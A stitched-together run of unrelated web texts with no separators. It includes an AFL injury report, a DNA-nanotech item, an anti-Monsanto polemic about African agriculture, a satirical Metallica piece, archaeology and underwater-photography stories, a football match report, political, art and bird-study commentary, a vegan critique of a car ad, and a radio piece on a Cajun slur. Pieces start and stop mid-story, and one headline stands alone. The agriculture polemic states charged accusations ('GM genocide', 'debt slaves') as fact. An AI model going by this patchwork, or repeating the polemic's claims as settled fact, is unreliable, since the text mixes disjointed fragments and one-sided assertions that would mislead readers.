Menegola suffered the PCL injury to his left knee in the second quarter of the Cats’ first NAB Challenge game against Collingwood at Simonds Stadium on February 26.
Specialists have advised Menegola will not require surgery. The 24-year-old will commence a conservative rehab program and is expected to return to football early in the season.
“This is a minor setback for Sam. He has shown resilience through his career and has shown the ability to bounce back from injury and he has enjoyed a solid pre-season campaign,” Geelong’s General Manager Steve Hocking said.
“Sam was playing well when he suffered this injury and we expect him to be back to that form when he returns.”
Menegola suffered the knee injury in his first game for the Cats after spending four seasons as a rookie, firstly with Hawthorn in 2011 and Fremantle from 2012-2014.
Now they’re scaling up, making bricks that are 1000 times larger and getting close to a size that could be barely visible to the naked eye.
The advances were reported in Nature Chemistry.
Who: A team of researchers at the Wyss Institute at Harvard led by Peng Yin, and including Yonggang Ke, PhD, now an assistant professor in the Wallace H. Coulter Department of Biomedical Engineering at Georgia Tech and Emory University.
At Emory, Ke and his team are continuing to design 3D DNA machines, with potential functions such as fluorescent nanoantennae, drug delivery vehicles and synthetic membrane channels.
How: The DNA brick method uses short, synthetic strands of DNA that work like interlocking Lego® bricks to build complex structures. Structures are first designed using a computer model of a molecular cube, which becomes a master canvas. Each brick is added or removed independently from the 3D master canvas to arrive at the desired shape. The DNA strands that would match up to achieve the desired structure are mixed together and self assemble — with the help of magnesium salts — to achieve the designed crystal structures.
“Therein lies the key distinguishing feature of our design strategy–its modularity,” Ke says. “The ability to simply add or remove pieces from the master canvas makes it easy to create virtually any design.”
Visit our Re-post guidelines This article is copyrighted by GreenMedInfo LLC, 2014
Rady Ananda
Food Freedom News
Last year, at the G8 Summit held at Camp David, President Obama met with private industry and African heads of state to launch the New Alliance for Food Security and Nutrition, a euphemism for monocultured, genetically modified crops and toxic agrochemicals aimed at making poor farmers debt slaves to corporations, while destroying the ecosphere for profit.
And Bono, of the rock group U2, is out shilling for Monsanto on this one.
It's phase 2 of the Green Revolution. Tanzania, Ghana, and Ethiopia are the first to fall for the deception, with Mozambique, Cote d'Ivoire, Burkina Faso and other African nations lining up for the "Grow Africa Partnership," under Obama's "Global Agricultural Development" plan.
In Obama Pitches India Model of GM Genocide to Africa, Scott Creighton writes:
But African civil society wants no part of this latest Monsanto aligned 'public private partnership.' Whatever will the progressives do now that their flawless hero has teamed up with their most hated nemesis to exploit an entire continent like they did to India not that long ago?
With a commitment of $3 billion, Obama plans to 'partner up' with mega-multinationals like Monsanto, Diageo, Dupont, Cargill, Vodafone, Walmart, Pepsico, Prudential, Syngenta International, and Swiss Re because, as one USAID representative says 'There are things that only companies can do, like building silos for storage and developing seeds and fertilizers.'
Of course, that's an outrageous lie. Private citizens have been building their own silos for centuries. But it's true that only the biowreck engineers will foist patented seeds and toxic chemicals on Africa.
Creighton continues:
Bono says that there has to be a 'public private partnership' in order to get this done and that they are going to be using the ideas of the African people and farmers. Really? This is what the African farmers say to that...
'We request that: – governments, FAO, the G8, the World Bank and the GAFSP reconsider their promotion of Public/Private Partnerships which, as they are now conceived, are not suitable instruments to support the family farms which are the very basis of African food security and sovereignty.' African Civil Society Organizations
I wonder if that could be any clearer. They don't WANT the public private partnerships involved in this process.... It's not enough that huge mega-corporations are bleeding the nations of Africa dry by sucking the valuable mineral resources out of their hills. No. As Bono says about the development in Africa:
'They're future consumers for the United States. The president is talking business. This is good. It's a whole new development paradigm today. The old donor/recipient relationship... it's over.'
Volatility chimed in:
The history of corporate agriculture and its 'Green Revolution' is a perfect example of the unfulfilled promises, and therefore proven lies, of corporatism. What was the Green Revolution? With a huge one-off injection of fossil fuels, and building upon ten thousand years of agronomy, corporate agriculture temporarily increased yields within the monoculture framework.
But, in the Green Revolution, writes Volatility:
The soil is stripped of all nutrition and zombified by ever-increasing applications of synthetic fertilizer. Monoculture is ever more dependent on the increasing application of ever more toxic herbicides and pesticides. Deployment of GMOs escalates these vulnerabilities. Factory farms can exist only with ever increasing use of antibiotics. All these systems are extremely tenuous, vulnerable, not robust, not resilient. They're all guaranteed to collapse. Hermetic monoculture, and industrial agriculture as such, is one big hothouse flower which requires perfect conditions to survive....
[T]he Green Revolution was a scam to use cheap fossil fuels to increase monocrop yield, drive tens of millions off the land, and use the stolen land and food to render food temporarily artificially cheap for Western consumerism.
Like with Monsanto's Bt cotton deployed in India, at first yields improved and farmers profited. Now, however, according to a leaked Advisory from the Minister of Agriculture obtained by the Hindustan Times last month:
Cotton farmers are in a deep crisis since shifting to Bt cotton.... In fact cost of cotton cultivation has jumped...due to rising costs of pesticides. Total Bt cotton production in the last five years has reduced.
The Advisory definitively links farmer suicides to debt-enslavement enabled by the synthetic food model spawned by Monsanto, Dupont and other ecocidal corporations: "The spate of farmer suicides in 2011-12 has been particularly severe among Bt cotton farmers."
That's not all the harm wrought by the petrochemical synthetic ag industry, as this 2012 superweed map by the University of Wisconsin shows:
Over half of US states are now plagued by agrochemically-induced superweeds. An industry sponsored study of pesticide use predicts that by 2016, nearly a billion pounds of these toxic chemicals will be poured on US soils.
JORDAN GRIMBLY, 27, says that he, among other fans, has been waiting patiently for what he claims to be, “A really, really, really long time.”
“METALLICA released DEATH MAGNETIC in 2008. It’s 2016 now. That’s EIGHT years that we’ve had to wait. I mean, I realize they toured until 2010. They did those BIG FOUR shows. They worked on an album with LOU BEGA. They did that movie with that blonde haired kid. But I mean, c’mon. They should be done by now.”
The heavy metal fan says that he got the idea from watching a SOUTH PARK episode from 2006 entitled “Go God Go”. He says of the episode:
“I’m constantly “killing time” waiting for the NEW ALBUM and watching SOUTH PARK is one of my coping mechanisms in dealing with “the wait”. It’s the one where CARTMAN freezes himself waiting for the release of the Wii gaming console. CARTMAN thinks he had it hard; but yeah, that was NOTHING compared to what I’m going through.”
His family and friends have gotten together to try and persuade JORDAN to change his mind, even bringing a doctor into the situation; but nothing seems to phase him. But he insists that he is not afraid. Explaining to the doctor:
“If you were a METALLICA fan, you’d understand.”
When asked what he hopes to achieve with this blatant publicity stunt, JORDAN responds with:
“Maybe METALLICA will let me be the first person to hear it. Of course, after themselves; producers; engineers; studio staff; management; family; close friends. It would be an honour.”
[editor’s note: Mr. Grimbly paid us $14.98 for this plug. We wouldn’t have covered this story otherwise.]
Leading Bulgarian archaeologist Prof. Nikolay Ovcharov has discovered two archbishop's seals proving the existence of a previously unknown Christian archbishopric in the Middle Ages.
Ovcharov has been excavating the Ancient Thracian rock city of Perperikon in the Rhodope Mountains for the past few years, and his finds have increasingly proven that Perperikon (also known as Hyperperakion) used to be a crucial urban center during the Middle Ages as well in the Byzantine Empire and the First and Second Bulgarian Empire, and not just in the Antiquity period.
The archaeologist presented Monday his latest find at Perperikon - two lead seals that belonged to Constantine, Archbishop of Archidos.
The archbishop's seals were found in a building in Perperikon together with Byzantine coins from the time of Byzantine Emperor John I Tzimiskes (r. 969-976), Basil II the Bulgar-slayer (r. 976-1025), and Constantine VIII (1025-1028), i.e. in the late 10th and early 11th century, as well as from the second half of the 12th century.
According to the Bulgarian archaeologists from Ovcharov's team, the newly found seals prove that a previously unknown Christian archbishopric – the Archidos Archbishopric – existed in the 10th-12th century in the Rhodope Mountains region, today's Southern Bulgaria, and was headquartered in Perperikon (Hyperperakion).
The name Archidos is Greek. When translated in Bulgarian it means "Ohrid". However, this toponym does not refer to the town of Ohrid in today's Republic of Macedonia (Macedonia) but to the Rhodope Mountain as Archidos was the name the Byzantines used for the Eastern Rhodopes.
Ovcharov says there is evidence to suggest that from the 4th to the 14th century Perperikon was a powerful Christian center with a number of bishop's basilicas and seals, most of them dating to the 10th-12th century AD.
Over the 2011, Ovcharov's team has been focusing on the eastern part of Perperikon and its acropolis.
The archaeologist says the complete restoration and conservation of Perperikon's acropolis should be completed in 3 years, while BGN 4 M have already been secured for lighting and infrastructure of the top archaeological site. A new road connecting the village of Chernoochene near Kardzhali with Perperikon will be opened next week.
London-based diving instructor, Alex Tyrrell, captured the images while working near the Philippines and Thailand
Bright green, red and yellow colours were enhanced with ultraviolet and blue-filtered light to see the unique effect
The images include an anemone hermit crab, a fluorescent mushroom coral and striking vivid yellow and green eel
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A British scuba diver was glowing with happiness when he captured these alien-like fluorescent underwater creatures on camera.
By using special underwater photographic equipment, the scuba diving snapper was able to highlight the fluorescence in marine creatures.
The bright green, red and yellow colours are enhanced with ultra violet (UV) and blue-filtered light to see the unique effect.
The fimbriated moray eel is found in the Indo-Pacific oceans at depths down to 45 meters. Alex Tyrrell, a scuba diving instructor from London, captured the images while working near the Phillipines and Thailand
When viewed under normal white light, the majority of the creatures have a muted brown and beige colour.
But when photographed with the special equipment, they transform into spectacular and colourful creatures.
Alex Tyrrell, a scuba diving instructor from London, captured the images while working near the Philippines and Thailand.
Using special underwater photographic equipment, the scuba diver was able to highlight the fluorescence in marine creatures. Pictured is a fluorescent mushroom coral
Mr Tyrrell managed to find this spectacular fluo bubble coral (right) and fluo hard coral (left). The 39-year-old said: 'It is still not fully understood why certain creatures fluoresce and others do not...Maybe this is an effect they can turn on and off at will - possibly for communication.'
Images such as this one of an anemone hermit crab were enhanced with UV and blue-filtered light to see the unique effect. When viewed under normal white light, the majority of the creatures have a muted brown and beige colour
The 39-year-old said: 'It is still not fully understood why certain creatures fluoresce and others do not.
'I have even seen two identical fish side by side where one fluoresces and the other doesn't.
'Maybe this is an effect they can turn on and off at will - possibly for communication.'
The pictures show a 10 centimetre anemone hermit crab who lives in the discarded shell of a snail.
A striking vivid yellow and green eel, known as the fimbriated moray, appears to approach the camera ready to bite.
Lisa's Mantis Shrimp, also known as Spearing Mantis Shrimp, feed on fish, squid and invertebrates, and grow to a length of about 25cm
On the left a striking striped triplefin fish shines with an amazing red glow, while on the right a fluo mushroom coral lights up the ocean floor in green
Mr Tyrrell managed to find this spectacular fluo bubble coral, fluo hard corals and fluo mushroom coral.
A bright green fluorescent sea anemone illuminates the water and is 40 centimetres in diameter.
An already alien-like crustacean, about 12cm in diameter and up to 25cm in length, is hidden in its burrow.
But it looks even more out-of-this-world when glowing under fluo-lighting.
A striking striped triplefin fish and a white-spotted hermit crab light up the water with an amazing yellow and red glow.
Mr Tyrrell has completed more than 100 dives using this special fluorescent camera equipment. Pictured are fluorescent hard corals shown against a dive light
A bright green fluorescent sea anemone illuminates the water and is 40 centimetres in diameter. All images were taken in Asian Pacific tropical water that reaches a temperature of up to 28°C
Mr Tyrrell has completed more than 100 dives using this special fluorescent camera equipment.
He added: 'I started this because I was diving in the same area repeatedly and wanted to get photos of familiar subjects in a very different light.
'All images were taken in Asian Pacific tropical water that reaches a temperature of up to 28°C.
'I managed to get very close to the creatures and at one point I was only 20 centimetres away from the subject.
'The majority of the photos were taken in Dauin, Philippines, while a few were taken in Koh Tao in the Gulf of Thailand.'
A white-spotted hermit crab lights up the water with an amazing yellow and red glow. The majority of the photos were taken in Dauin, Philippines, while a few were taken in Koh Tao in the Gulf of Thailand
Former Crewe Alexandra centre-forward Michael Higdon also featured among the substitutes, together with Jay McEveley who damaged a shoulder against Bradford City last weekend. Febian Brandy, previously of United, appeared for the hosts after extending his loan from Rotherham.
Just a couple of weeks ago, this appeared to be among the most routine fixtures on Sheffield United’s League One calandar.
Three games and as many victories later, Crewe Alexandra entered today’s match at Gresty Road an altogether more confident and formidable team.
Not that United, whose players had walked into the stadium rather than arrive by coach, were short of self-belief themselves after recording wins over Bradford City and Yeovil Town en route to Cheshire.
Indeed, they should have taken a third minute lead when Chris Basham, partnering Paddy McCarthy at centre-half, powered forward and set in motion the chain of events which, after Jamal Campbell-Ryce and Stefan Scougall had both taken touches, ended with Jose Baxter forcing Ben Garrett to make a smart, reaction save.
Sixty seconds later, only the width of a post prevented Craig Alcock from opening the scoring, again from a Campbell-Ryce centre.
United had wasted no time seizing control, hunting down the ball and breaking at speed, but when Marcus Haber forced Mark Howard to come darting off his line, it served to remind them that Crewe still posed a threat.
United, though, continued to dominate.
Baxter, who later squared-up to Adam Dugdale after being caught late by the defender, caused all sorts of problems during the early stages. Especially when he collected the ball from deep.
Anthony Grant was cautioned for a heavy tackle on Scougall while Jamie Murphy twice shaped to shoot, before being crowded-out, after patient passing moves.
As the half progressed, Crewe began to establish a foothold in the contest.
Their passing became more fluid and incisive but, as Febian Brandy demonstrated in the 26th minute, not the final ball.
United responded with another period of pressure. But Crewe, despite again finding themselves fimly on the back foot, were proving adept at massing players behind the ball.
In the 37th minute, however, they posed some questions of their own.
Howard flung himself through the air to palm George Cooper’s long-range attempt to safety while Alcock was forced to hook clear during a scramble following the resulting corner.
James Wallace was inches away from producing the perfect counter-punch when, reading Murphy’s intentions, he desperately tried to get a touch on the Scot’s low, powerful cross.
United started the second half in the same manner they had the first.
Campbell-Ryce found himself in a promising position out wide but, after ghosting inside, saw an extravagant attempt to curl the ball home with the outside of his foot end in disappointment.
Then, Murphy whipped a powerful cross into Garratt’s area but no visiting attacker could find what would surely have been a decisive touch.
Basham joined Grant in the referee’s notebook for a trip on Grant as Crewe looked to mount an attack of their own
United pressed forward in search of the goal their contribution had deserved.
Only Dugdale’s superb intervention prevented Murphy from finding Scougall just beyond the penalty spot.
Then a misunderstanding saw Baxter step over the ball rather than try and divert it past Garrett after another good move.
Wallace’s angled shot fizzed just past the Crewe goalkeeper’s far post. Likewise another low and long-range effort from Baxter.
At the other end of the pitch, Brandy saw an effort deflected behind for a corner.
The former United winger was withdrawn soon after as Jamie Ness entered the fray in the 64th minute.
Danny Haynes, on loan from Notts County, also made his Crewe debut during the double change.
Haber was the player to make way.
United’s dominance finally told in the 69th minute.
Murphy powered past two markers in front of the ‘Ice Cream Stand’ before slowing, almost to a halt, as he tracked those darting forward in support. SCOUGALL was the first to arrive and he duly slid home.
Crewe were forced to make their third and final change soon after when Bradden Inman departed on a stretcher.
Billy Waters came on and soon after, in the 79th minute, Baxter was awarded a penalty after being scythed down as he primed to shoot in front of goal. But Garratt, diving well to his left. proved equal to the task and palmed the ball away.
That escape seemed to inspire Crewe who went on to apply some of their most concerted pressure of the afternoon.
United made a triple substitution with six minutes of normal time remaining.
Basham, holding a dressing to a head wound, Scougall and Baxter were all taken off.
McEveley, Reed and Marc McNulty took their places and, within seconds, the latter missed a wonderful chance to double United’s advantage but scuttled his shot the wrong side of the near post.
Before play restarted, Ray was shown a red card although there was confusion as to what it was actually for although there was some suggestion he had manhandled the referee.
Campbell-Ryce got his feet in a tangle when, during 10 minutes of added time, Murphy made his way to the byline for the umpteenth time. McNulty and Wallace were both booked as United saw the match out.
CREWE ALEXANDRA: Garratt, Tootle, Ray, Dugdale, Turton, Inman, Cooper, Leigh, Haber, Brandy, Grant. Substitutes: Shearer, Guthrie, Atkinson, Waters, Ness, Tate, Haynes.
SHEFFIELD UNITED: Howard, Alcock, Harris, Wallace, Basham, Doyle, Murphy, Scougall, Baxter, Campbell-Ryce, McCarthy. Substitutes: McNulty, Davies, McGahey, McEveley, Higdon, Reed, Turner.
Since Trump’s election victory, there’s been a lot of concern trolling (and maybe some genuine concern) that resistance to Trump will alienate decent conservatives who held their noses while voting for Trump, but might be attracted away from him by a suitably respectful presentation of a centre-right Democratic agenda. A notable recent entry is a piece in the New York Times by Sabrina Tavernise, which profiles three such voters, only one of whom has any criticism to make of Trump. The others complain that liberals have been mean to them, but make it pretty clear they would vote for Trump regardless. As is inevitable in such a piece, Jonathan Haidt gets a run – he’s the only expert quoted by name.
A sample of three, along with commentary from a predictable source, doesn’t tell us much. So, what can we say about the strategy of appealing to decent conservatives. A few observations.
According to recent polling, while Donald Trump is the most unpopular newly-elected president in polling history, he is the most popular among Republicans, easily beating Ronald Reagan. Republicans and Republican leaners overwhelmingly believe (or say they do) that Trump is trustworthy, caring, well-informed and a good manager. The only favorable quality they are unwilling to ascribe is that of an even temper.
During the election campaign, Hillary Clinton relied almost exclusively on the strategy of appealing to decent conservatives. Even her much-criticised remark about deplorables was a clumsy attempt to split the presumed mass of decents from the racist, misogynist alt-right. (While Clinton had moderately progressive economic policies, these were barely mentioned by the press or in her advertising). The result of all this was that Trump attracted virtually the same support among Republicans as did Mitt Romney. It was the failure of any significant number decents to switch to Clinton, rather than large-scale desertions from Democrats, that was crucial factor in Trump’s victory.
None of this should be surprising. Trump is just a logical evolution of the candidates who’ve generated enthusiasm among the Republican base in recent years including Palin in 2008 and a vast crew of not-Romneys in 2012.
Whilst older films or pieces of music generally feel their age on account of their then nascent methods of capture, paintings can often come across as strikingly modern inspite of the century or more that separates the image from the viewing present. Art, it seems, tends to transcend and connect through its unfiltered access to expression. Today’s artist Christopher R.W Nevinson struck me precisely because of his urgency and evident endurance, his work forceful and delicate in its depiction of horrors both real & imagined.
‘Column on the March’ – 1917
What first hits here is the immense sense of monotony, everything is patterned up and divided like a map as territory. From the uniform sky streaked across in various gasps of light, to the floor which is separated to uncertain gravel patterns, along with the aggressive clanking column of the soldiers themselves.
Occasionally a private’s gun will break off from the perpendicular of the pattern, but mostly it’s the clever use of the horses that allows the column to achieve a sense of depth and motion. The animals, with one noticeable towards the far left of the canvas and another squintable just at its close, act as markers that suggest distance, with the space between the riders growing shorter as the perspective drains out into the further side . Through doing this, Nevinson implies more horses on the line, indeed logically there would be one just off the right side of the painting as it cuts, a feeling that furthers the horror of the image as we are caught between a mere slice of this dominant irresistible march, rather than its end.
Though the image seems to suggest against it, it’s interesting to take the actual fighters as individuals. Under examination they break into basic shapes of confusing yet recognisable contortions. Cartoonish but nevertheless real, their odd futurist depiction ensures our eyes are stapled to their path just as they are.
Nevinson of course though is drawing our thoughts towards the monomaniacal nature of war, something that churns the individual to patriotic paste. A thought suggested by the breakdown of detail as the painting drives further towards its endless conclusion. Near our right hand side then is an interesting display of cobblestone design, with even the occasional face able to be discerned. Towards the end however, there’s nothing more than few brushstrokes posing as road as the men peel out into statistics.
‘Dance Hall Scene’ – 1913
An odd perplexing marvel of a painting that fuses elements of Fauvism with Cubism, ‘Dance Hall Scene’ finds a wide range of humanity mingling as freely as Nevinson’s palette. From the familiar dancing partners at its middle, to the odd lion and menacing jester at its corner, instability reigns here as the party fragments and jitters. There’s a dance floor visible, as well as flowers too, but Nevinson does away easily with perspective and manner, pushing for a more accurate realisation of the blur these scenes do often become.
Soft edges of faces continually push out of the canvas against the scene. Some hang unfinished and incomplete, staring out isolated from within, others gaze on in bemusement. I especially love the visage just above the heavy browed figure of the corner, one in which the mouth comes where the nose should be, as well as a cocked leg able if effectively forming a brow. Whereas pure Cubism strives to present a circular whole of an image, as if it were traversed and appreciated throughout, here there seems to be have been more of an explosion than an exposition, as limbs and faces codify to a uproarious mania.
The carnival tones are expertly presented, with an almost hallucinatory imaging on the bottom figures as their faces and lapels become blending to intriguing combinations. Some are fully formed beings here, their entire shape on display to scrutinise, others such as the crowd at the top are shown only as faces akin to a flickering candle flame.
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DTR is the Daily Temperature range. This is the range of maximum and minimum temperatures in a given day. DTR is known to change, to either increase or decrease, with climate change (global warming) so understanding the effects of a shifting DTR on wild populations of birds is critically important.
Even when the average daily temperature is unchanged, it is known that certain animals, mainly ectotherms (like reptiles) have higher mortality rates when DTR is large. DTR has not been carefully studies in birds, which are endotherms, until now.
In this study, three variables were considered. The main focus was change in DTR. The other two variables are brought in as stress-causing variables that mimic natural variables that strongly affet bird survival. The first is brood size. Larger brood sizes may seem like a good idea from a Darwinian point of view, because this would mean more offspring. But there is no free lunch, especially for birds. As brood size increases beyond some limit (which may depend on other factors) the quality of individual offspring decreases, and their survivorship may go down. Birds are famous for manipulating brood size (in some species) in response to likely availability of food, and this ability has been at the center of major debates in biology over the level at which natural selection works. Are gulls, for instance, reducing their reproductive output in some years so all the gulls have a chance to eat (group selection) or are they reacting to environmental cues to maximize survival of their own offspring (standard selfish natural section)? The answer to that question has been shown fairly conclusively to be the latter. In any event, brood size matters, so in the experiment I’m talking about here, it was manipulated by the researchers.
The other contextual variable was foraging difficulty. The experimenters changed the difficulty of foraging for different groups of birds, so some birds would have to spend more energy on foraging than others. Bird age and other factors were also considered.
The birds used in this study were Zebra Finches reared and housed at the University of Groningen in the Netherlands. The lived in outside aviaries with about 15-30 birds of each sex living in them, in a total of eight aviaries. The experiment was run over several years with several hundred birds.
Most importantly, and the thing that makes this experiment unique and especially important, is that the relationship between the key variables, especially DTR, were observed on a daily basis, rather than averaging out over time, so specific effects of more extreme cold or heat, or just, more extreme conditions, could be related to bird deaths.
The results are fairly complicated, and a little counter-intuitive. I would have predicted that bird mortality would go up the most when foraging costs were high and temperatures were low, because birds spend energy on both foraging and keeping warm. Perhaps that is in fact what happens in colder environments (in other words, I’m sticking to my story for now, until I see more studies done in colder environments). From the abstract:
… we show that mortality rate increases almost two-fold per 1°C increase in diurnal temperature range (DTR). Interestingly, the DTR effect differed between two groups with low versus high experimentally manipulated foraging costs, reflecting a typical laboratory ‘easy’ foraging environment and a ‘hard’ semi-natural environment respectively. DTR increased mortality on days with low minimum temperature in the easy foraging environment, but on days with high minimum temperature in the semi-natural environment. Thus, in a natural environment DTR effects will become increasingly important in a warming world … These effects were particularly apparent at young ages … the effect of DTR on mortality is delayed up to three months, while effects of minimum temperature occurred within a week. These results show that daily temperature variability can substantially impact the population viability of endothermic species.
So increasing DTR increases mortality. This is a phenomenon seen in some regions, with global warming, especially in some tropical and subtropical areas. The effects of DTR on mortality was, as expected (by me) high with low minimum temperature but only when foraging was made easy. When foraging was made hard, the high minimum temperature increased mortality. It is not perfectly clear why, but the researchers speculate that heat stress is the cause. Additional muscle activity heats up the animal, and it has to cool down (as an endotherm) but this is harder when it is already warmer, or when cool conditions can’t be exploited to facilitate that cooling. Heat stress can, in turn, cause immune system problems, damage to DNA, organ failure, and of course, just plain death.
Photograph of Zebra Finch by bird blogger Clare M, and is cribbed from the 10,000 Birds Gallery.
Gwar's Dave Brockie a.k.a. Oderus Urungus Found Dead Sitting Upright in Chair
Exclusive Details
For those who haven’t seen the commercial yet, or really just don’t feel like seeing it even now, here’s the gist.
A man and a woman are running through the woods while being chased by bears. The male verbally commands his smart watch to, “Start my car.” And do so the car does.
It’s portrayed as a close call, but the man and woman successfully get into their 2017 Hyundai Elantra and race away from the woods and any potential danger there may have been.
Then, as soon as the commercial narrator’s voice silences, the bears spark up a conversation.
Bear (R): “Did he just talk start that car?”
Bear (L): “I just wanted to hug him!”
Bear (R): “I was gonna eat him.”
Bear (L): “Thought you were vegan?”
Bear (R): “Eh, it’s my cheat day so I’ll just eat around it.”
First of all, I think it’s safe to say that the person, or group of people, who created this commercial have no idea what veganism is. Veganism is not a fad diet, and hence, should not be painted as one.
Veganism is not a diet, it is a lifestyle choice which goes well beyond what you eat. It is a compassionate lifestyle that recognizes all sentient beings as wanting and deserving of a quality life, and seeks to ease, and ultimately end, the suffering and imprisonment that is done to animals for ill based, senseless reasons.
Cheat days are for diets, cheat days are not for veganism.
Then, of course, there’s the, “just eat around it” comment that the bear on the right makes. Do you know just how often those within the vegan community have to hear this type of thing and how mind blowing it is that people have the actual audacity to toss that out there as a viable option for vegans? No, we do not, and will not, just eat around it.
It is completely self defeating for a vegan to eat something that has been in touch with animal based products. That animal still suffered, animal agriculture is still taking a horrible toll on our planet, overfishing is still killing off biodiversity in our oceans, the egg industry is still killing off millions of male chicks, and then some. Also, for example, let’s say a person who is vegetarian or vegan is served chicken accidentally. They obviously aren’t going to eat what is being served to them. That chicken then basically died for absolutely nothing. No reason whatsoever.
9 April, 2012 by Tom Smith
THE 13TH ALBUM from electronica duo Capsule, Stereo Worxxx, is now available on iTunes UK. The release follows the party vibe set from last year’s frankly fantastic World of Fantasy, the title track of which is a regular at our club nights (click here to watch its video, we highly recommend you click).
The brains behind Capsule, producer Yasutaka Nakata is also the man at the helm of Kyary Pamyu Pamyu’s musical endeavours. Don’t expect fluffy, candy coated choruses and melodies in Stereo Worxxx though, instead expect something sounding closer to a Crystal Castles and Daft Punk mashup with traces of Calvin Harris-styled pop.
Either way, we love it and at £7.11 it’s very hard to say no. If you’d rather be the owner of the physical version of the album, Amazon.co.uk currently has a few copies of the 2-CD edition available by clicking here.
Stereo Worxxx tracklisting:
1. Feelin’ Alright
2. Never Let Me Go
3. In The Rain
4. Dee J
5. Step on The Floor (from the film ‘LIAR GAME’)
6. Tapping Beats
7. All The Way (from the film ”LIAR GAME’)
8. Motor Force Listen
After the shocking death of Laurel Lance (Katie Cassidy), some fans of the comics were disheartened by the fact that Oliver (Stephen Amell) would not end up with the Black Canary — in the comics, Oliver married Dinah Laurel Lance, the character portrayed by Cassidy on Arrow. That all changed when Juliana Harkavy was added to the cast as Dinah Drake, otherwise known in the comics as the first Black Canary. However, that doesn’t necessarily mean there will be a Green Arrow-Black Canary romance, especially considering the show has never been beholden to the comics.
“The idea that Oliver would end up with the Black Canary being Katie Cassidy or any new iteration thereof? To me, it could happen, it could not, but it’s certainly not destined to happen or predesigned to happen,” Amell tells EW.
As for his reasoning, Amell harkens back to 2011, when Arrow was being developed. “Green Arrow was conceived as a show without superpowers and a show that was meant to be a little more grounded that was a specific reaction to an incredibly successful 10-year run of Smallville,” Amell says, quick to point out that if the show didn’t stray from the source material, viewers would’ve missed out on several now-beloved characters. “There have been feuding factions in the fan base — people that call upon the comics and people that have lived in the universe of the show,” Amell says. “I would say that we try to find a happy medium for both, try to live in the universe that the show has created where characters that weren’t a part of the Green Arrow mythos have become completely indispensable.”
RELATED: Arrow‘s Stephen Amell reflects on Oliver’s legacy
“There are elements that you find in a TV show that make the show what they are,” Amell continues, “and that became Oliver’s relationship between Felicity [Emily Bett Rickards] and Diggle [David Ramsey] — one character that’s completely original in terms of John Diggle, an ode to Andy Diggle, who wrote Year One, and Felicity Smoak, who was plucked from the far reaches of the DC universe. Thea Queen [Willa Holland] also does not exist in the comics and I think that’s all stuff that’s important to remember.” (Amell shares his thoughts on Olicity’s future here.)
Over the course of five seasons, Arrow has also worked very closely with DC to stay true to the spirit of the comics. “We’ve always consistently had the creative team behind DC as a partner, and they sign off on stuff for us and they give us chances with characters like Barry Allen, who was introduced through our show before he went on to head his own show, and they do that because they have faith in us,” Amell says. “If they thought that we were destroying their comics’ mythos, I’m pretty sure they would have said something by now.”
Plus, Amell says, it’s not bad to stray from the beaten path, as we saw with HBO’s Game of Thrones last season. “If you want to talk about Game of Thrones now existing beyond the realm of the books, that was one of my favorite seasons of television ever,” Amell says. “I think that it would be a pretty two-dimensional world if you simply followed with what the comic said.”
Arrow airs Wednesdays at 8 p.m. ET on The CW.
“I’m the owner of KBON 101.1 FM down in Cajun Country,” says Paul Marx, whose station began broadcasting music in 1997.
Much of life in so-called Cajun Country involves the French language, and Marx is fluent in what he calls Cajun French.
“We do speak different French here, a little different from Canada or France but it’s still our language — French,” he explains.
Cajun culture and the French language weren’t always so valued, though. In fact, French as a spoken language nearly disappeared, but the language and culture have made a comeback.
Paul Marx, owner of KBON radio station in Eunice, LA, stands near a collection of autographed photos and a wall covered in signatures. His station mostly plays music by Louisiana musicians, including Jamie Bergeron & The Kickin’ Cajuns, whose song “Registered Coonass,” has not been received well by all Louisianans. Credit: Veronica Zaragovia
Artists like Jamie Bergeron & the Kickin’ Cajuns. People from around here either love or hate one of Bergeron’s songs, called “Registered Coonass.”
You can hear the song on Marx’s radio station because he likes it. Not all Cajuns do.
“I kind of got a threat by an attorney that if I continued playing the song, there’d be a lawsuit,” Marx says. “Well, that made me put the song on the playlist.”
The attorney was Warren Perrin, who threatened to file a complaint with the Federal Communications Commission if KBON kept playing the song. Since then, the station now only plays it if a listener requests it, and DJs announce it not as “Registered Coonass” but “RCA.”
Warren Perrin’s law office is 40 miles away from Eunice in Lafayette, on a street called Rue de La France. Perrin regularly sends letters to people asking them to stop using the word “coonass.”
“We ask that the person voluntarily do so and that is usually the end of it,” Perrin says. “We have not had to institute any type of formal suit or claim with the Human Rights Commission or anything like that.”
Warren Perrin, an attorney in Lafayette, LA, has a stack of files documenting how The Council for the Defense of French in Louisiana has attempted to stop people from using the term “coonass” in certain instances. Perrin served as president of the state agency for 16 years. Credit: Veronica Zaragovia
“That state agency is the only one in America existing, supported by the state of Louisiana, to promote the French language,” he says. “We have 30 French immersion schools — eminently successful. So we turned it around and we developed along the way pride in ourselves.”
Pride in your roots and the word “coonass” don’t go together, says Perrin, who’s part of a movement that has tried to stamp out the use of the word. The movement won a big victory back in 1981 when it got the Louisiana State Legislature to condemn the word as offensive. Legislators not only condemned it, they outlined the word’s etymology.
“In that concurrent resolution, the politicians in Baton Rouge wrote: The word coonass comes from the standard French word connasse, which means dirty whore or stupid person,” says local Cajun historian Shane Bernard, paraphrasing what’s in the 1981 resolution. “Cajun GIs were called this when they were in France during World War II. Anglo GIs were standing nearby, didn’t know what that meant, but said, ‘Sounds like coonass, so that’s what we’re gonna call you from now on.’”
1943 photograph of the C-47 Cajun Coonass (with enlarged inset). Credit: National Archives and Records Administration via Shane Bernard
“Because there were no Cajuns in France or any Americans in France until June 6, 1944, which is D-Day, that means that if the connasse theory were true, it had to have been created sometime after D-Day because you had to have Cajuns in France to be called connasses,” Bernard says. “Presumably you had to have some extended period of time for the word to morph into coonass.”
Bernard says he’s found other references to the word predating D-Day, as well. As far as he’s concerned, no one can be sure where the expression came from.
Whatever its origins, coonass isn’t a slur these days to people like Angie Sonnier. I found Sonnier on a rainy afternoon taking shelter beneath a roof of a Shop Rite store in Duson, Louisiana. The store sells bumper stickers and T-shirts with a “Registered Coonass” logo on them. Sonnier doesn’t care about tracing the history of the term “coonass.”
“If it was meant being ugly when it first came out, it’s not ugly now,” Sonnier says. “Not unless you look at it that way, and some people may. I just don’t.”
Instead, “coonass” is shorthand for her rural Cajun identity.
“I was raised, you know, running crawfish traps with my dad, and working on a farm with my dad, and doing different other things — going fishing with my family and, you know, generally doing all this type of stuff that is around here,” Sonnier says. “It’s in your blood.”
At his radio station, Marx echoes that sentiment. He remembers when speaking French at school was really frowned upon.
